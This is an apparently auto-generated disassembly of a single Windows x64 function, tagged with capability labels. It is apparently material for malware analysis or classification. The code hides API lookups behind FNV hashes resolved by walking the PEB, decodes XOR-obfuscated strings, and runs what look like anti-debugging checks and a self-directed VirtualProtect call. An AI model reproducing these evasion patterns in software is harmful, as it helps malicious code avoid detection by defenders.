Function at 0x140048da0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x150
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140180f00]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov rcx, qword [0x14025c018]
test rcx, rcx
jne 0x140048f3a
mov rax, qword gs:[0x60]
xor r14d, r14d
mov ebx, 0x9bc5a608
mov rcx, qword [rax + 0x18]
mov r12, qword [rcx + 0x10]
mov rdi, r12
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x140048e5d
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140048e54
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140048e40
cmp edx, r14d
jne 0x140048f22
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov r11d, ecx
shr r15, 0x20
add r11, r9
cmp r11, r9
je 0x140048f22
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140048f22
mov esi, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov eax, dword [rax + rsi]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140048ed7
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140048ec0
cmp edx, ebx
je 0x140048ee2
test r8d, r8d
jne 0x140048ea0
jmp 0x140048f22
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov ecx, dword [rcx + rdx*4]
add rcx, r9
cmp rcx, r11
jbe 0x140048f33
lea rax, [r11 + r15]
cmp rcx, rax
jae 0x140048f33
mov r14d, 0x811c9dc5
mov rdi, r12
mov dword [rbp + 8], r14d
mov dword [rbp + 0xc], r14d
mov rbx, qword [rbp + 8]
shr rbx, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
jne 0x140048e10
xor ecx, ecx
mov qword [0x14025c018], rcx
call rcx
mov rcx, rax
call fcn.140044690
call fcn.140047f40
call fcn.140044c70
movzx eax, byte [0x14025b7d2]
test al, al
jne 0x140049394
movabs rdi, 0xcb24f17b4b892081
movabs rsi, 0x42dbccc6c69569c6
movabs r13, 0xaf579d1424fd4df7
movabs r14, 0x42dbccc6a3ed0ce8
movabs r15, 0x4386c4e88ee69d48
movabs r12, 0x721088f5e820468b
movabs rbx, 0xb95094092afe4df7
call fcn.140044420
call fcn.140040170
call fcn.140046ed0
call fcn.1400409e0
call fcn.140045640
call fcn.140048960
call fcn.140048520
mov qword [rbp], r13
lea rcx, [rbp + 0x80]
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
call fcn.1400402e0
test al, al
je 0x140049025
call fcn.1400406c0
mov qword [rbp], rbx
lea rcx, [rbp + 0x90]
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x42dba9bea3bb10a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x90]
mov qword [rbp + 0x28], rax
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x90], xmm0
call fcn.1400402e0
test al, al
je 0x14004908e
call fcn.1400406c0
movabs rax, 0xb85194092afe4df7
lea rcx, [rbp + 0xa0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x42dba9bea3bb1ba3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x38], rax
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.1400402e0
test al, al
je 0x140049101
call fcn.1400406c0
movabs rax, 0xae77990f3ec867d7
lea rcx, [rbp + 0x60]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x3abee2a3a5fc1fb4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x721088f5e82046ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
call fcn.1400402e0
test al, al
je 0x14004919d
call fcn.1400406c0
movabs rax, 0xbb48990f28e84df7
lea rcx, [rbp + 0xb0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xb0]
mov qword [rbp + 0x48], rax
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0xb0], xmm0
call fcn.1400402e0
test al, al
je 0x140049206
call fcn.1400406c0
call fcn.140042910
call fcn.140042650
lea rcx, [0x140168ac8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
lea rdx, [rbp + 0x60]
movabs rax, 0xad4ab80f2eda54cf
mov qword [rbp], rax
movabs rax, 0x2cb4a5b2a7f81ba9
mov rcx, qword [rbp]
mov qword [rbp + 0x60], rcx
mov qword [rbp], rax
movabs rax, 0x7210ec948d522edf
mov rcx, qword [rbp]
mov qword [rbp + 0x68], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x70], rcx
mov rcx, r8
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x60]
mov qword [rbp + 0xd8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0x60], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call rbx
call fcn.140046230
test al, al
jne 0x1400493c4
call fcn.140046a00
test al, al
jne 0x1400493c4
call fcn.140045c20
test eax, eax
jne 0x1400493c4
call fcn.140047d30
test al, al
jne 0x1400493c4
call fcn.140045260
test eax, eax
jne 0x1400493c4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x30
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400493c4
mov rdx, qword [rbp + 0xd8]
lea r9, [rbp + 8]
mov rcx, qword [rbp + 0xc0]
mov r8d, 2
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400493c4
call fcn.140045f20
test eax, eax
jne 0x1400493c4
lea rcx, [rbp]
mov qword [rbp], 0x3e8
call fcn.140071980
movzx eax, byte [0x14025b7d2]
test al, al
je 0x140048f99
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.14011c9c0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400425c0
int3